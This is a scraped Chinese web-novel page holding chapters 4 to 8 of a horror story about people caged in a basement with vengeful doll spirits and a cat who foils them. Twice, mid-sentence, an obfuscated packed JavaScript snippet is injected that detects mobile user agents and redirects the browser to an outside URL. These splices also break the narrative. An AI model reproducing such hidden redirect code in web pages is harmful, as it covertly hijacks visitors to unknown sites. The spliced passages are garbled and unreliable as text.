诡异的声音又响起。似乎恶鬼被人类的恐惧感染,从喉咙里发出充满恶意的嘲弄窃笑。 “簌簌簌簌。” 声音越来越大,小咪把尾巴甩来甩去,尾巴撞在铁栏上,就发出一声声响。 它歪头看着面白如纸的人类,有些费解。 好奇怪,人怎么不说话了? 它能感受到笼里人类情绪的变化,人在害怕? 人,不要怕,猫在笼子里,猫会保护你! ———— 恶鬼在笼子里对着自己大笑。 孙菱把棒棒糖咬得咯吱响,草莓奶味在嘴腔迸开。她敛下眼睛,对联络器冷声说:“我们六个人中,没有一个老吴。” “什么?”愚公886也很吃惊。 “老吴不是人类。它把联络器拿下来,送到我们身边,可能只是想看我们垂死挣扎,像猫戏弄老鼠一样。” 在说到“猫戏弄老鼠”,笼子里那簌簌声响骤然变大。 小咪开心地摇尾巴。 这让孙菱更加确定自己的猜想,“它就在关我的笼子里,想看我的笑话。” 她单手拿着联络器,另一只手伸出,对着笼子外的黑暗比了个中指,“886,你能给我们提供什么帮助?” “现在情况紧急,我长话短说,告诉我你们的人数、地点、场景,和进来方式,我尽可能为你们搜索线索。如果能提供准确地点,我们可以尝试打开通道,直接实施营救。” “你们还能过来?” 被囚的几个人都很吃惊,又隐隐期待。 886笑了下,声音很轻快,“当然,就算在黑暗世界,你们也是咱国家的公民,能救我们都会尽可能营救的,你们可以喊我暗界阿sir,”他试着开了个玩笑,“不过——” 话锋一转。 “在暗世界里,不要将希望寄托在别人身上。” 他压低声音,变得认真起来。 “第一,在暗世界里,不同时间重叠,也许一脚踩在2024年,再往前一步,就已经到了1024年。找到准确的时间空间,并不是件容易的事情。” “第二,进入暗世界需要对应的钥匙。如果我们手里没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965853|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与你们相同的污染碎片,也打不开相应的门,只能试着以其他鬼域为中转站,找到你们的位置。但是需要耗费很多时间。” 愚公886点击屏幕。 在他的面前,出现张电子地图,地图红点密布,一个个地点随着光标转动浮现名字。而标注地点的只是一小部分区域,地图大部分,都被密密麻麻的红色问号覆盖。 “第三,”他的眼神停在问号区域,停顿片刻,才开口:“有很多诡异地点,我们也没有办法抵达。如果被拉进这种地方,还需要你们自救,你们是怎么进入暗世界的?” 薛菱简要把几个人的经历说了一遍。 小咪趴在她的脚边,把爪子舔得又粉又嫩。 “你们拆开了快递吗?那里面装的就是污染碎片,也是打开门的钥匙,告诉我里面是什么,我看看系统有没有收录与它相关的异常事件。” 薛菱犹豫着说:“我没有打开快递,”她问其他人,“你们有人打开过快递吗?” 其他几个人纷纷说没有。 拿到纸盒,他们还没拆开快递,就产生奇怪的冲动。有的人拿起刀,把瓦楞纸盒插穿,鲜血从盒子里飚出,有人用剪刀将纸盒剪作两半,血瞬间喷涌,也有人把盒子扔进火堆里,听它响起凄惨的叫声。 崔成:“不是吧?你们都没拆快递?” “你不也没拆。”孙菱嚼了嚼草莓奶糖,“装在里面的,应该是一个有生命的物体,我把它丢在地上时,听见它在哭。而且,它能让人产生一种施虐的欲望,很奇怪,听见它的哭声时,我会产生一种满足感,很快乐、很幸福的感觉。” “看来它会对你们产生精神污染,能再描述详细点吗?” “那是个巫蛊娃娃。” 角落里响起道虚弱的男声。 小咪耳朵动了动,好奇地钻过几个铁笼,来到说话青年的面前。 他坐在轮椅上,脸色苍白,俊秀面孔病态消瘦,手指无力地搭在轮椅扶手上,说话低弱缓慢,“是干草扎成的小人,做工很粗糙,五官扭曲,手脚用红线绑住。” 小咪记得他,自我介绍时,他的话很少,只报了自己的姓名。 好像叫……沈风渡。 小咪的记性很好! 崔成问:“这么重要的事你怎么不早说!你怎么能忍住冲动,没直接伤害它的?” 沈风渡突然咳嗽,胸口剧烈起伏,苍白的脸上血色更稀薄,几乎像一张白纸。 小咪心想,他好弱,比它见过的所有人类都要弱,好像一口气上不来,随时都会断气。 又是一个需要猫来保护的弱小人类。 “你没事吧?” 几分钟后,沈风渡呼吸平稳一点,靠在椅背,疲惫地说:“见笑,这儿空气不好。” 崔成问:“你还没说呢,为什么你没有一刀把盒子扎透?” 沈风渡轻轻笑了下,声音低弱,“我想的,但手上没力气。” 886听见他的描述,“我知道了,是巫蛊人偶,人偶确实能扭曲精神,但是——”他顿了顿,“你们真的都攻击它了吗?是致命伤吗?” “这很重要吗?” 愚公886凝视屏幕,表情凝重,“在现实,它只是个任人宰割的玩偶,但在暗世界,它叫怨魂。它会向伤害自己的人寻仇。” 地下室的门后,响起了沉闷的脚步声。 5. 第 5 章 “咚、咚。” 它在门后逡巡,如死亡之钟回荡在众人头顶。 每个人都想起了自己对“巫蛊人偶”施展过的酷刑。 崔成抓着铁栏,焦急问:“快告诉我,怎么摆脱它!” 愚公886双手如飞,迅速念出存储档案资料,“巫蛊玩偶,现实世界以娃娃的形态存在,能影响接触者,让人产生凌虐欲望,然后化身成为怨魂人偶,将接触者拉入暗世界,实行自己的复仇。” “等级,白。” “作用范围:10mx10m。” “应对方式:1在面对巫毒玩偶时,尽可能控制住凌虐欲望,避免其出现第二形态。” 崔成忍不住喊:“我们都已经进来了,你就不能说点有用的?” “2如果进入怨魂人偶领域,请注意以下事项。” “一。人偶会想方设法将身上的伤口复刻在你身上,请尽可能保护自己要害。” “二。恐惧是滋养它的养料,请尽量保持冷静。” “三。怨魂人偶存在怨魂和人偶两种形态。当它处于怨魂形态时,无法受到物理攻击,只能尝试用影子能力应对。当它处于人偶的本体状态时,可以受到物理攻击。本体人偶与怨魂距离一般不超过十米,建议影子能力者压制怨魂,其他人尽快找到本体,并进行物理摧毁。注1:怨魂以复仇者为第一目标。注2:怨魂对于普通人是无敌状态。” 崔成大喜:“所以只要找到本体那个娃娃就行了?待会你们拖住怨魂,我来找人偶,我眼神比较好。” 孙菱笑了,“大叔,你糊弄傻子呢?” 他们很快意识到自己面临的难题。 一是他们都被关在铁笼里,锁很坚实,难以从笼里逃脱。如果怨魂钻进笼里,本体玩偶在铁笼外,几个人就只能像待宰的羔羊等死,根本接触不到本体。 二是地下室一片漆黑,吞噬光线,人连自己的手都看不见,怎么找到一个巴掌大小的玩偶? 而且,谁愿意直面无解的冤魂呢? 分配问题也足以让这群并不团结的人吵半天。 脚步声越来越近。 孙菱问:“886,影子能力是什么?” “只有在生死关头才能觉醒的能力,我只能说,多注意你的影子。”886快速说:“不是每个诡异都会直接杀人,暗世界有它自己的规则,冷静思考,运用规则,接下来我的声音或许会干扰到你们,我将不再说话,亲爱的同胞,祝你们能活下来,我们在阳光下相聚。” 他的话音刚落下,门轰然而开。 一道高大人影出现在门口。 暗红的光洒在它的身上,惨白身体布满被刀扎出的各种血洞,伤口血肉翻开,脓血流淌,还有蛆虫在肉里爬动。 长得很恶心。 它带着复仇怒火走入地下室,身上晕着层血红的光,让几个人能看清它每一道伤口,每一个翻开的腐肉,都预示着一桩人类的恶行。 叶子静忍不住轻轻抽了口气。 “找到玩偶,找到本体。”崔成压低声音,曲起手掌放在嘴边,小声说:“只有一个怨魂,我们六个人,怎么也能找到玩偶。” 但他马上就说不出来话了。 第二个怨灵走了进来。 怨灵身上依旧流淌淡淡红光,让人一眼就能望见。 它的身形比第一个怨灵要矮半截——它只有下半身,惨白的脊椎断成两截,突兀地从肉里钻出,薄薄一层皮连着它的上半截身体,拖着头与上半身在地上移动,留下一道很长的血痕。 “哒、哒。” 是头撞击台阶的声音。 紧接着,第三个被烧成焦炭的焦尸怨灵,第四个被摔得四肢折断,在地上蠕动的怨灵,第五个身上扎满针的怨灵,第六个…… 一共六个怨灵走进地下室。 地下室的门关上了。 崔成瘫软在地,神经质地笑了起来,眼睛紧紧盯着那具焦尸。 他甚至能闻见空气里飘来的,淡淡的焦糊味,像烤肉烧焦了的气味。 那是他丢进火里的人偶。 “草,六个。” “一人一个。”孙菱也意识到这点,心里想,“老吴到底是什么?” 老吴为什么和他们不一样? 是人、是鬼、还是影子能力者? 她一眼扫过六个怨灵——怨灵身上散发淡淡红光,在粘稠的黑暗里行走,每一步都搅动着这摊死水一样的黑。 孙菱认出来向自己寻仇的怨灵。它是第四个进来的,正在靠墙的位置徘徊,折断的四肢让它移动稍慢,只能像蜘蛛一样在地上爬动。 六个怨灵中有五个带着伤,属于沈风渡的人偶没有残缺。这说明什么?怨灵不会优先攻击他吗? 不对。它们怎么还没过来? 她紧盯着这几个恶灵——它们散发无尽恶意,狰狞可怖,让人看一眼就胆战心惊,不敢多看。 但要是多看几眼,就会发现,这几个鬼跟无头苍蝇似的乱转。 它们看不见? 孙菱马上意识到,这是886所说的规则。规则限制恶鬼,也保护弱小的人类。 如果他们一直被关在铁笼里,就算鬼看不见人类,也完全可以找到铁笼,再将人一个又一个抓出来杀。 所以一定还有别的规则。 怨魂依旧在黑暗地下室移动,步伐不快不慢,有意寻找。100平方米的地下室,说大不大,说小不小,就算它们看不见人,也用不了多久就能摸到铁笼。 屋子里的铁笼排布密集,只要碰到一个,就能顺藤摸瓜,把所有人都找到。 应当还有别的生路。 孙菱看眼前方,离她最近的一个鬼就在十几步之外,是只被烧得焦黑的厉鬼。每走一步,它身上就有焦黑碎屑簌簌掉落,让人心里发毛。 就算它走得并不快,方向有偏差,但摸到铁笼,也是很快的事情了。 这时,一个东西摔到她的笼子里。 “咚。” 清脆响声像催命符。 一瞬间,所有的鬼都看了过来。 东西是从后面笼子里扔过来的,是崔成! 她摸到那东西的形状,马上意识到它是什么——挂在笼门上的锁。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965854|161229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 锁住铁笼的是一把挂锁,拳头大小,U型锁梁下挂着个金属锁体,很结实,凭人力无法打开。 崔成怎么打开这把锁的? 错愕时,浓烈的焦臭味扑面而来,一张被烧得漆黑的鬼面,贴在她的头顶,隔着生锈的铁栏,死死看着她。 本来她还幻想铁笼能保护自己,没想到焦黑恶鬼直接穿透铁笼,伸出利爪朝她抓来。 恶鬼身上散发的血红光芒照亮她惨白的脸,借着这点微薄的光,她终于注意到,门口的锁不知什么时候打开了,挂在门上。 孙菱忍不住想笑,现在发现已经太晚了。焦黑厉鬼钻进笼子,尖嚎着扑向她,滚热烧焦的气体灼烧她的气管和肺部,她的喉咙被炽热空气烫得长满水泡,呼吸也很艰难,浓烈的气味让她有些头晕。 她忍住窒息般的灼痛,手伸出铁栏,摘下滚烫的锁,身子往外一滚。 居然还没死? 焦黑恶灵在她身上扑过后,就没有再追,好像对她失去兴趣。 孙菱当然不觉得没死是恶灵开恩,她马上想到886说过了注意事项—— 怨灵以复仇者为目标。 第二条规则找到了! 所以其实规则很简单。他们在一百平米的黑暗空间里,和六个厉鬼捉迷藏,鬼看不见人,人可以看见鬼。厉鬼只会优先攻击复仇者,对其他人不会产生致命伤。 如果他们有配合,不停弄出动静,反复吸引怨灵注意,说不定还能让几个人空出来,悄悄在房间寻找人偶。 但这几乎是不可能的事。 崔成丢个锁过来,不就是看焦尸快接近笼子了,想让她当替死鬼?为了自己的安全,牺牲别人,这才是最有可能发生的事。 互相厮杀,直到所有人都被鬼发现、杀掉。 孙菱刚从地上爬起来,又一个怨灵扑过来。怨灵刚开始动作还很慢,听见声音后,就跟开加倍速一样,不到一秒,就闪现到她面前,其中就包括那只“蜘蛛怨灵”。 四肢刷刷在地上爬动,扭一百八十度的头挂在脖子上晃荡,眼睛紧紧锁定她的方位。 孙菱咬牙,朝旁边折成两段的鬼扑过去,身体穿透这层没有实体的魂灵时,身体传来折断的幻痛。只有对应的鬼才能杀死她,可被碰一下,还是会感受到人偶同样的痛,好像身体也被烧成焦炭、被折成两段。 她知道自己只要躲开那一个鬼就行,于是克服心中恐惧和身体痛楚,主动撞向另一个狰狞厉鬼,正好躲开蜘蛛怨灵,但身体撞在墙壁时,还是发出一声很低的闷响。 蜘蛛怨灵马上扭过脸,四肢爬动,飞快追上来。 来不及躲了! 死就死了,要把发现的规则告诉其他人,要是她们醒悟太晚,说不定也会被崔成当成替死鬼。 她张开嘴想说出生路,可被滚烫气流烫过的喉咙一时发不出声音。 快冲到她面前的怨灵却停了下来。 它的头颅轻晃,转向另外一边。 孙菱也听见那声音,她有些恍惚,几乎以为自己听错了。 “喵呜——” 一声软软的猫叫? 6. 第 6 章 小咪在拨弄挂在铁笼上的人偶。 在怨灵进来的时候,笼子上就多了一个草扎小人。猫很警惕,马上就发现房间里多出的东西,好奇地用爪子拍打小人。 小人挂在栏杆上,四肢软软晃动。 猫用爪子拍一下,它就晃一下。 小咪兴奋地“喵”了声。好玩!好玩! 猫喜欢玩这种游戏,拍打几次后,猛地往上一蹿,伸出的爪子勾进草扎小人的肚子里。 “啊——” 一声凄厉惨叫让几个人类吓一大跳。 孙菱看见,前面那个头抵着天花板,三米多高的恶灵,像是被黑暗中无形力量攻击到,身体瞬间失去平衡栽倒在地,肚子上划开个巨大的口子。 我去。 她倒抽一口凉气。 老吴出手了? 孙菱想起刚才听见的那一声“喵呜”,或许她听错了,其实是……老吴? 老吴到底是何方神圣啊? 小咪指甲勾住草扎人偶的肚子,猫吊在空中,刚准备玩,就被一声鬼叫吓得浑身炸毛。它叼着草人蹿到铁笼上,警惕又气愤地盯着鬼叫的恶灵。 叫什么叫!吓猫一跳! 所有的恶灵都察觉到它的位置,速度极快地追它。 小咪尾巴炸成鸡毛掸子,瞬间弹跳起步。 猫上蹿! 猫下跳! 猫钻恶灵咯吱窝! 猫拿恶灵的脚背当猫抓板! 小咪在六个鬼之间跑来跑去,尾巴高高翘起。好玩!好玩! …… 于是被困的人类看见奇怪一幕—— 这六个恶灵好像追逐黑暗中某种无形之物,在地下室迅速移动,好几次它们形成合围之势,把四个方向都堵住,却还是没有抓到那个人。 趁着这个空当,孙菱摸到其他笼子,把所有人的锁都拿了下来。 “菱姐。”叶子静双腿发软,低声啜泣。 “嘘——和它们捉迷藏,别弄出声音,”孙菱看恶灵依旧在追逐“老吴”,压低声音和女孩说出自己的发现,“还有,提防其他人。” 她塞给叶子静两把锁,在黑暗里摸索着,往门的方向走。 眼前漆黑一片,除了恶灵,什么都看不见,门也隐藏在黑暗里。 但她还记得门的位置,在东北角落,七级水泥台阶之上,就是门。 推开门就能回到现实世界。 在走上台阶前,孙菱两只手都握住一把锁,食指中指伸入锁梁里,再合上掌心。 这样,左右手就戴上简易版的指虎护具。 指虎对恶灵当然没什么用,她清楚这一点,扭头看向黑暗。 恶灵的追逐已经停止。它们恢复最开始的样子,在黑暗中移动,速度比之前要快一点。 老吴还活着吗? ———— 小咪玩了场酣畅淋漓的追逐游戏。但跑了几分钟,它就有点累了,猫敏捷点满,体力却没那么好。 而且,恶灵很笨,抓不住猫。 猫觉得追逐游戏逐渐无聊,就把草人丢到地上,身体钻到铁栏里,透过栏杆悄无声息观察几个恶灵。 明明它就伏在笼子里,恶灵也跟睁眼瞎一样,找不到它。 小咪已经习惯了。 在家里时,室友也经常找不到它。它蹲在一个角落,静静看着室友翻遍全屋来找它。 每次要小咪亲自走到室友面前,主动打招呼,她才能看见它。 “小咪,你又藏在哪里了?” “喵!” 猫才没有藏,猫就蹲在凳子下面看着你呢。 人类经常看不见猫,这几个长得比人更大的“人”,找不到猫也很正常。他都是人了,猫让让他们吧。 于是小咪翘起尾巴,结束这场遛鬼游戏,钻过几个空荡的铁笼。 它累了,要找个地方休息。原来装着人的笼子都空了,只有一个人还静坐在铁笼里,没有离开。 小咪轻巧往上一跳,盘坐在青年的腿上,仔仔细细舔着粉爪爪。 猫爱卫生。 沈风渡微微睁大眼睛。 腿上多了团柔软而温暖的物体,小猫的温度透过薄薄病号服,温暖他僵死在轮椅上的双腿。 他双眼蒙着黑雾,依旧被黑暗填满。 可僵冷的身体,却多了另一种从未有过的奇妙体验。他努力移动无力的肢体,手臂从轮椅扶手栽落,五指陷入一团柔软的毛里。 猫只是轻轻哼唧一下,继续专注地给爪子舔毛。 是一只长毛小猫。 皮毛柔软得不可思议,像团蓬松的云彩。 感受到他的抚摸,小猫的身体微颤,喉咙里发出低频的颤音。 “呼噜呼噜。” 沈风渡的嘴角轻扬,从来没有摸过猫,手指却熟练地绕过它的耳根,曲指挠着它的下巴。 “呼噜呼噜——” 小咪惬意眯起眼,呼噜声更大了。 猫喜欢人类。 人再摸摸猫的脸,摸摸猫的头顶,那儿猫平时自己挠不到。 咦,人怎么不摸了? 沈风渡动作一顿,从撸猫本能从回神,看着几步外徘徊的恶灵。他并不怕死亡,可猫还在他的腿上。 他试着伸手把猫推下膝盖。 眼前金星乱溅,掌心抵住小猫柔软的肚子,只把猫推得晃了一下。 很快猫就反应过来,兔子蹬鹰,爪爪抵住他的手掌。 小咪伸爪拦住他。 人,一直揉猫的肚子,多冒犯呀。 空气中猫毛漂浮,沈风渡忍不住咳嗽,喉咙里浸满铁锈味,胸腔剧烈起伏,也摄入不了多少空气。 “快跑。” 怨灵听见声音,快速地冲来。他看见它们脸上凝成实质的狰狞恶意,用尽所有力气,嘶声对小咪说:“快跑!” “老——呜——” 猫低吼着警告恶灵,见它们不退,它后腿一蹬,从青年身上起跳,像黑色液体穿透铁笼,抬起爪子抓向恶灵的眼珠子。 挠它! 猫穿过了这只四肢扭断的恶灵,穿过瞬间,它也感受到骨折的疼痛。但猫很能忍痛,疑惑多过恐惧,奇怪地歪了歪头。 为什么猫扑了个空呢? 猫从来没有扑空过! “咳咳——找到人偶。”沈风渡声音沙哑,说完就自嘲地笑了笑。他居然把希望寄托在一只小猫身上。 但猫有夜视能力,能自由进出铁笼,轻松甩开恶灵,找到人偶本体,对它也很简单。 之前恶灵肚子上划开个口子,应该是小猫在勾人偶玩吧。 不过,一只小猫能听懂人话吗? 他眼睛凝视着潮水一样 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他知道,这个才是真正能杀死他的怨灵。 现在它的肚子划开大洞,行动时肠子流泻,在前面追逐时,它拖出来的肠子绕了铁笼几圈。 如果是正常人,至少能站起来垂死挣扎一下吧。 沈风渡垂下眼睛,露出苦笑。 但是,赶在剧痛之前到来的,是熟悉的温热柔软。 小猫又跳到他的膝盖上,头往他掌心一拱,蹭了蹭,把草人也放在他的手边。 “喵!” 人,快一点! 小咪焦急催促。 沈风渡抓住草人,粗糙干草摩擦指腹,只要是个正常人,就算是几岁的孩子,也能把人偶折成两段。 但草人还是滑过无力手掌,掉在了地上。 也不意外,只是觉得对不起小猫。 肚破肠流的怨灵近在眼前。 他嘴唇颤动,“咪咪?快跑……” “哐——” 一声巨响让所有怨灵都动作一滞,望向东北角的方向。 锁梁重重砸在门上,木门又多出一个坑陷。 “你疯了!把它们引来干什么?啊——” 孙菱扭过身,戴上指虎的拳头砸在男人的脸上,只一拳,就打掉他几颗牙。她一直蹲在台阶上,没发出一点声音,不是为了推门出去,而是为了在这儿蹲到崔成。 一想到推开门就要回到法治社会。 就一点都不想出去了。 暗世界结下的梁子,还得在暗世界来解决。 她又朝男人砸一拳,高声喊:“等下你们接力!” 说完,揪着崔成的衣领,纵身跳下台阶。 “砰!” 两个人都重重栽在地上。 焦糊味越来越重。 左边是四肢折断飞快爬动的怨灵。 右边是浑身焦黑碎灰簌落的恶鬼。 两个向他们复仇的怨灵一左一右,飞快地冲来。 而属于沈风渡的寻仇恶鬼,依旧拖着十米的肠子,站在铁笼前,似乎早就认定,笼子里的才是自己的猎物。 它慢慢低下头,讥笑的嘴角裂到耳根。 7. 第 7 章 “疯婆子,我们会一起死的!” “死就死,老娘拉你垫背。” 两个人撕打在一起,动物一样互相撕扯,崔成力气很大,掐住孙菱的脖子,恨不得直接把她舌骨掐断,但孙菱手上套着指虎,拳拳带血,每拳都往他脸上砸。 不过,恶灵扑来时,他们同时松开手,朝着远离自己恶灵的方向一滚。 孙菱早就在心里找好了逃跑方位,当她躲开恶灵后,悄无声息地伏在黑暗中,屏住呼吸,一点声音都没有发出。 她紧盯着属于自己的恶鬼,看它修长四肢反折,身体像个拧了几道的毛巾。 她不就是把快递盒当沙包打了几拳吗? 里面的人偶也太脆弱了吧,三拳就被打成这样,镇关西都没这么能碰瓷。 不过也说明一个问题。 人偶的本体很脆弱,只要找到本体,她能一拳把恶灵打扁。 可惜地下室没有一丝光,他们都是睁眼瞎……要是有夜视能力能好了。 孙菱想着,看见自己的那只恶灵折断的头颅一百八十度转了个圈,正对准了她。 她的心脏砰砰跳动,压住震惊恐惧,悄无声息地摸着墙壁往旁边走。 地下室有很多废弃杂物,不小心踢到什么就会弄出声响,但刚才她摸索时注意到这点,脑中浮现条清晰而安全的逃跑线路。 她转了个方向,走了十几步,蹲下自己的身体。 蜘蛛怨灵像能感觉到她的位置一样,头颅又向她转过来,四肢爬动,窸窸窣窣。 孙菱掌心冒汗,踮起脚尖,悄无声息又换了个位置。 她可不想被拧成麻花! 刚在废弃杂物间站好,一回头,那张充满恶意嘲弄的脸,只在自己一米开外了。 糟了,来不及换位置了。 可是临死前她想不明白,自己没有发出声音,恶灵是怎么锁定她的位置? 她注意到,焦尸怨灵也在移动方位,似乎同样追踪到了崔成的位置。 他们都没弄出动静,怨灵怎么发现的? 游戏规则里,怨灵看不见人,但对人而言,捉迷藏游戏一定要用“眼睛”发现,对怨灵而言,“眼睛”或许不是必须,他们用其他感知来抓人。 而且,这种感知能分辨出,哪个人类是属于自己的猎物。 “是恐惧。” 青年虚弱的声音在黑暗中响起。 ———— 从孙菱弄出动静开始,到她被怨灵追上,其实时间不到一分钟。 他们弄出的声响很大。 但沈风渡笼前的恶灵没有离开。 沈风渡也看见,那个半截身体的厉鬼,和浑身扎针的恶鬼,同样没有被声响吸引。 好像它们用某种方式锁定了要复仇的人类。 沈风渡回想愚公886给过的提示,很快就想到,恶鬼看不见人,它们看见的,或许是人的恐惧。 在绝对寂静里,人不小心弄出动静,马上会有“被鬼察觉”的想法,一瞬间迸发的强烈恐惧会让恶灵感知到。 而当人类意识到,只有一个怨灵会杀死他们时,对那个特定怨灵的恐惧会急剧攀升。这也就让恶灵分辨出,哪一个人才是自己的复仇目标。 我也在害怕吗? 他感觉到自己的指尖无意识在发抖,忍不住笑了笑。 是的。我在害怕,害怕小猫被恶灵杀死。 停在他面前的恶灵伸出大手,指爪像锋利的铁钩,划向他的腹部。 它想把自己身上伤口复刻在青年身上,将他肚子划破,肠子扯出。 长指甲在病号服上划开一道口子,淡淡血腥味在空气里漫开。 突然,它动作停顿,紧接着,斗大的脑袋掉下来,身体像蜡烛融化。 小咪一口咬掉草人的脑袋,几口就把草人拆散架。 好难吃!好扎嘴! 呸呸呸。 小咪嫌弃地把草人吐出来,又跳到青年腿上,担忧地看着被血浸湿的病号服。 蓝白条纹的衣服上有红渐渐晕开。 小咪急得爪爪按住他的胸口,粉红舌头卷走沁出的殷红液体。 “喵呜。” 人,不要死!猫把血给你舔掉。 猫很顽强,断两根肋骨、受点伤也不在话下,只要每天用舌头舔舔舔、舔舔舔,伤口就能愈合。 可是人会好吗? 小咪心里着急,它知道,人和猫是不一样的。人类很柔弱,要小心呵护,擦破点皮流些血,他们就会疼得大叫。 这个人比它以前见过的所有人类更加柔弱。他不会死掉吧? “喵呜。” 人不要死,猫会给你把伤口舔好的。 就在它认真舔血珠时,身体又腾空了。小咪的爪爪划动空气,“喵?” 人,不要捣乱,猫在干正事呢。 一张笼着霜雪的无色面孔骤然贴近,冰冷的脸贴在它的肚子上。 “啊……” 青年发出满足的叹息。 小猫身上独特的味道填满鼻腔,这是种很难形容的味道,像温暖的阳光。 与阳光一起涌来的,还有柔软的猫毛。 沈风渡严重猫毛过敏,还没吸两口猫,又开始咳嗽了,咳嗽牵动身体,腹部割裂的伤口血液汩汩流出。 “喵!” 人! 猫急得把爪子按在他的脸上,用力蹬他。 人,不要吸猫的肚子了,你快要死掉了。 小咪不想看人死,这样会让猫有种没有守护好自己地盘的挫折感。 “啊——” 一声凄厉的惨叫让猫浑身炸毛,猫猫一蹿,就跳到沈风渡的脑袋上,长尾巴在他的脸上扫来扫去。 怎么回事? 让猫看看怎么回事! …… 惨叫响起瞬间,本来突脸的恶灵把脑袋转了九十度,四肢在地上爬动,飞快离开。 孙菱松口气,双腿有点发软。她听出发声的是一个叫覃郝的男人,对方撞到鬼了? 其实,在黑暗里小心和恶灵躲猫猫,侧重于躲开唯一致死的那一个恶灵,就能撑很长时间。 毕竟他们能看见恶灵。恶灵“看”不见他们。 恐惧只有超过一定阈值,才能被恶灵捕捉到。 但说起来简单,对着这么几个狰狞恶灵,人哪能控制住自己的情绪? 她自认胆子不小,可几秒钟前恶灵贴脸时,她就身体僵硬,脑海一片空白,就好像回到原始社会,自己还是头在原野自由奔跑的猴子,突然被猛虎狩猎盯上时,全身漫起的恐惧。 是人对死亡的本能反应。 孙菱几个深呼吸,让自己蹿到嗓子眼的心收回去,踮起脚尖迅速换个位置,蹲 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孙菱捏紧拳头,转身往台阶走,每走两步,突然听见身后响起声音。 “最好不要尝试打开门。” 孙菱脚步一顿。 为什么? 为什么他敢开口,不怕被恶灵发现? 沈风渡坐在轮椅上,抱着猫,不死心地边咳边摸猫,说:“应该有七个恶灵。” 孙菱一怔,七个? 如果说有七个复仇怨灵,那地下室被关着的,也应该有七个人类对应。 她马上想到了“老吴”。 老吴也是游戏参与者,但她是886所说的影子能力者,才表现得如此不同。 细想下来,老吴并没有伤害人类,相反,她为他们带来联络器,也出手除掉一个恶灵。 她在保护人类! 沈风渡手指搭在小咪柔软的毛上,小猫已经在他膝盖躺了下来,尾巴在他的手背扫来扫去。 “门是个陷阱。”他轻轻咳嗽两声,没有力气解释太多,“找到人偶才能出去,人偶在……咳咳……” 小咪尾巴扫得更快,抬起头蹭了蹭人的下巴。 孙菱回头看去,沈风渡发出的声音不小,几个徘徊的恶灵没有被他吸引。如果控制好自己的情绪,不产生对恶灵的恐惧,或许可以出声交流。 但她不敢赌。她想不通,沈风渡是一点都不害怕吗? 沈风渡咳嗽几声,握住小猫的爪子,低笑:“不要担心。” 小咪舔半天没舔干净他身上的血,抬头蹭了下他留下自己气味后,从他膝盖起跳,跳到了铁笼上方。 它觉得这个人身上湿漉漉的都是血,有点脏。 血沾到猫的毛上,它还要费劲去舔。 而且这个人有点太冒昧了,不是摸它就是吸它肚子,吸猫就罢了,还不给猫条。 反正他一时半会好像死不掉,它先把这几个入侵者解决掉再说。 小咪在铁笼上,伸了个懒腰,看向离自己最近的恶灵。 好气! 它们刚才居然当着猫的面,杀死两个人。 猫决定干掉它们! 8. 第 8 章 小猫离开他的怀抱。 沈风渡不再咳嗽,声音恹恹,“人偶在我们下意识远离的地方。” 孙菱恍然大悟。 铁笼! 从笼子里逃离后,他们最先的反应离铁笼远一点。一旦进入笼子,就是条死路,不利于和恶灵周旋,而且,笼子很容易弄出声音,引起恶灵的注意。 但要是人偶就藏在铁笼附近呢? 孙菱回头看眼门的方向,犹豫几秒钟,毅然放弃门。 愚公886说的话不一定是真的,就算他说的是真,打开门就能回到现实世界,但谁说暗世界只有一扇门呢? 找到人偶,怨灵就会死,已经是板上钉钉的事实。 她更相信眼睛看见的。 折成两截的女人摇摇晃晃往她走过来,双腿拖着对折的上半身,头颅在地上摩擦。 孙菱熟练地往旁边挪,目光落在中年女人凄惨的脸上,忍不住皱起眉。 她记得女人的名字。 赵翠芳。 在铁笼里时女人很焦躁,说自己还要接两个孩子放学回家。 现在有两个站在学校门口的小孩等不到妈妈了。 孙菱握紧拳头,她很记仇,如果有机会杀死恶灵,就算稍微冒点风险,也很值得。 等赵翠芳从身前经过,她不再犹豫,踮脚往前,准备插在赵翠芳和另一个怨灵中穿过。 毕竟现在小小一间房里面,已经装了八个怨灵了。想等怨灵远离铁笼几乎不可能,随着时间推移,恶灵们移动的速度越来越快,动作表现出一种贪婪的渴求。 孙菱不擅长等待,也觉得等下去不是个好办法。她决定主动出击,先去铁笼附近,刚迈出两步,她感觉自己好像踩到什么东西。 她低下头。 眼前漆黑,看不见那是什么,但……身后的恶灵,垂在地上的头抬了起来。 草! 是赵翠芳拖在地上的头发! ———— 在孙菱转身的同时,崔成做出相反的选择。 他悄悄摸上台阶,手里提着根刚才地上捡的钢管。如果这次那疯婆子又来拦路,他就用钢管敲碎她的脑壳! 他一定会杀了她! 崔成握紧钢管,眼里布满血丝,一步一步小心地迈上台阶。 安全碰到木门,他终于长舒一口气,把手按在门上。 他并不相信沈风渡的话。明明地下室只有六个人,相对应的恶灵也只会有六个。 老吴? 谁知道老吴是人还是鬼。如果是人,她怎么不开口说话,怎么能拿到外面的联络器? 现在出口近在咫尺,就算这扇门不是回到现实世界的门,至少能让他离开地下室,离危险更远一点。 而且,最重要的一点——能杀他的鬼就在房间里,如果门后有一个鬼,也不是来找他寻仇的,不会优先杀死他。 崔成咬紧牙关,推开木门。 暗红的光洒在他的脸上,他抬起头,嘴唇颤动,瞳孔里倒映出张惨白面孔。 